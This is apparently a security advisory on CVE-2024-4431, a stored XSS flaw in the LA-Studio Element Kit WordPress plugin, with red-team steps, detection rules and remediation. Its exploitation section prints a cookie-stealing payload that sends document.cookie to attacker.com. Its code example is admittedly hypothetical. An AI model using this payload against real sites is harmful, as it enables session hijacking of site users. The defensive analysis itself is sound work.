CVE-2024-4431

Executive Summary

CVE-2024-4431 is a Stored Cross-Site Scripting (XSS) vulnerability in the LA-Studio Element Kit for Elementor WordPress plugin, affecting all versions up to and including 1.3.7.6. The flaw resides in insufficient input sanitization and output escaping of the id parameter, allowing authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a victim user accesses the compromised page. With a CVSS score of 6.4 (Medium), the vulnerability poses a moderate risk, primarily impacting confidentiality, integrity, and availability of the WordPress site. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor (La-studio). Since no patch is available, consider removing or disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access
• User Interaction: Required (UI:R) – victim must visit the injected page
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can lead to session hijacking, defacement, or phishing attacks against site visitors.

Deep Dive & Mechanics

The vulnerability exists in the LA-Studio Element Kit plugin, which extends the Elementor page builder for WordPress. The plugin fails to properly sanitize the id parameter before storing it in the database and later rendering it in the frontend. An attacker with contributor-level access can craft a malicious payload (e.g., <script>alert('XSS')</script>) within the id parameter of a shortcode or widget. When the page is saved and later viewed by any user, the script executes in the context of the victim’s browser.

Root Cause: Lack of input validation and output escaping on the id parameter. The plugin likely uses $_GET['id'] or similar without applying esc_attr() or wp_kses().

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates or edits a page/post using the LA-Studio Element Kit widget.
3. Attacker injects malicious JavaScript into the id parameter.
4. The payload is stored in the WordPress database.
5. When an administrator or visitor loads the page, the script executes.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is hypothesized based on common XSS vulnerabilities in WordPress plugins.

Vulnerable Code (hypothetical):

// In a shortcode or widget render function
$id = $_GET['id']; // No sanitization
echo '<div id="' . $id . '">Content</div>';

Patched Code (expected):

$id = sanitize_text_field($_GET['id']);
echo '<div id="' . esc_attr($id) . '">Content</div>';

The patched version would use sanitize_text_field() to strip malicious content and esc_attr() to safely output the value in an HTML attribute context.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with LA-Studio Element Kit <= 1.3.7.6
• Contributor-level account credentials

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new page or edit an existing one.
3. Insert the LA-Studio Element Kit widget that accepts an id parameter.
4. Set the id parameter to: <script>alert(document.cookie)</script>
5. Save and publish the page.
6. Send the page link to a victim (e.g., admin). When they visit, the script executes.

Proof-of-Concept (PoC) Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual id parameter values in page/post content.
• Use Web Application Firewall (WAF) rules to block XSS patterns.
• Review WordPress logs for suspicious contributor activity.

Hardening:

• Disable or remove the LA-Studio Element Kit plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Hashes: (None available; plugin files may be modified)
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/steal)
  • Unusual JavaScript execution in page source
• Log Entries:
  • WordPress audit logs showing creation/editing of pages by contributors with suspicious id values
  • Web server logs with requests containing <script> tags in query parameters
• Database Indicators:
  • Rows in wp_posts or wp_postmeta containing XSS payloads in the id field

Detection Engineering

YARA Rule

rule CVE_2024_4431_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in LA-Studio Element Kit id parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4431"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $id_param = /id\s*=\s*["'][^"']*<script/i
    condition:
        $id_param and $xss_payload
}

Sigma Rule

title: CVE-2024-4431 Stored XSS in LA-Studio Element Kit
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via the id parameter in LA-Studio Element Kit
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: '/wp-admin/post.php'
        cs-method: POST
        cs-uri-query|contains: 'id='
        sc-status: 200
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4431 Stored XSS in LA-Studio Element Kit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"id="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and remove LA-Studio Element Kit until a patched version is released.
2. Restrict user roles: Limit contributor-level access to only trusted users.
3. Apply virtual patching: Use a WAF to block requests containing XSS patterns in the id parameter.

Long-term Fix:

• Monitor the vendor’s website (La-studio) for a security update.
• Once patched, update to the latest version and re-enable the plugin.
• Conduct a security audit of all WordPress plugins for similar vulnerabilities.

Workaround:

• If the plugin is critical, manually patch the vulnerable code by adding input sanitization and output escaping (see Vulnerable vs. Patched Code section).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert